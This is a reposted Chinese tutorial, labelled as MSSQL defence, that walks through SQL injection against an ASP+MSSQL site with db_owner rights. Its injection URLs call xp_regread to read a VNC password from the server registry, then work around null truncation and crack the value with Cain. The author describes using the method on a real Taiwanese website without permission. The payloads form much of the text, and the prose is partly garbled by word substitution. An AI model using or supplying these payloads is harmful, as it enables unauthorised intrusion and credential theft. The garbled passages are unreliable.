MSSQL db_owner角色注入直接得到系统权限[MSSQL防范]
本文“MSSQL db_owner角色注入直接得到系统权限[MSSQL防范]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
相信大家对ASP+MSSQL注入都已经很熟习了,连一个对SQL语法丝毫不懂的人也可以用NBSI来轻松入侵大量网站.但就算是一个SQL INJECTION高手,假如针对在MSSQL中只有db_owner角色,破不出猜不到网站后台的情形下,仿佛也无技可施;除了用备份得到shell的这个思绪,我在网上实在没有找出更好的入侵办法.不过,备份得到的shell只是理论化的东东,假如一个webshell有20mb的话,你还能用它吗?前不久,我就碰到了这样的一个台湾网站,管理员的密码倒是用NBSi跑了出来,但是用户名因为是繁体的缘由在NBSi中成了一堆乱码.我也找到了后台,可只有干努目的份.怎么办?我又扫了它的全部端口,发现开了5900,预计是管理员用了VNC对服务器举行了远程掌握.这时,我就有一个思绪,能不能把VNC在注册表的加密密码读出来再来破解呢?看我表演吧!
TELNET服务器的5900端口,得到讯息如图1所示,证实服务器的确用的是VNC.相信大家城市用读xp_regread来读注册表了,顺次提交以下语句:
http://www.something.com/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255));
这样我们就成功地建了一个名为cyfd的表,并且增添了范例是char,长度为255的字段名gyfd.然后向表中加数据:
_blank>http://www.something.com/script.asp?id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--
从注册表中读出VNC在注册表的加密密码的值,再把值插入到刚建的表中.然后暴出VNC在注册表的加密密码:
_blank>http://www.something.com/script.asp?id=2 and 1=(select count(*) from cyfd where gyfd > 1).
但是后果大失我所望,gyfd的值是空的.假如这样简单的话,不会有这篇文章呈现了.这是什么缘由呢?我的语法不精确?翻来覆去的查抄我的语句也没有发现错误呀.莫非繁体的vnc在注册表里的位置不一样?后来我又开始在本机装了vnc又在解析查循器里做测试,得到的后果倒是个数字5.这时czy上线了,询问了一下,他劝我把gyfd的这个字段改成二进制数据范例 binary来试一下.于是我又在本机测试了一下,顺次提交以下语句:
http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][binary](20));
http://127.0.0.1/script.asp?id=2;DECLARE @result binary(20) EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--
然后我再用nbsi跑出cyfd表里gyfd这个字段的值.后果到是出来了,得到了vnc的加密密码值是0x0E3515AC00000000000000000000000000000000.可这儿还不对,我在本机装的vnc在注册表里的密码值是hex:0e,35,15,ac,00,62,d3,08这个呀.本来binary(n)的数据存储长度是固定的,当输入的二进制长度小于n时,余下长度填0增补.我在注入语句中写入的binary(20)是充足写入vnc加密密码的长度时,为什么还有那么多0来填充呢?这是因为恰好我的vnc密码是0e3515ac0062d308,在碰到了00的情形下,xp_regread认为已经读完了它的值呢,把00当作了完毕符,所以只读到了0x0E3515AC,我晕!
翻了一下书,终于让我找到了一个特别的数据范例uniqueidentifier,是用来存储一个16字节长的二进制数据范例.把注入语句改革一下:
http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][uniqueidentifier]);
http://127.0.0.1/script.asp?id=2;DECLARE @result uniqueidentifier EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--
然后再用nbsi跑一下,跑出来了,不过得到的后果是AC15350E-6200-08D3-0000-000000000000.
AC15350E-6200-08D3-0000-000000000000和我在注册表里的精确的vnc密码的值0e3515ac0062d308相比,能看出来有什么差别吗?只不过次序是倒置的,相信大家城市小学的算术,这个不用我教了.试一下用cain破出vnc的密码,看看行不行
看模样在本机做的测试一切成功.这办法用到台湾上的站点试试,哎,仍然没有跑出vnc的密码,大概繁体vnc在注册表的位置差别吧.不过,我研究了一上午,有了一点收获,就放过你吧.
以上是“MSSQL db_owner角色注入直接得到系统权限[MSSQL防范]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |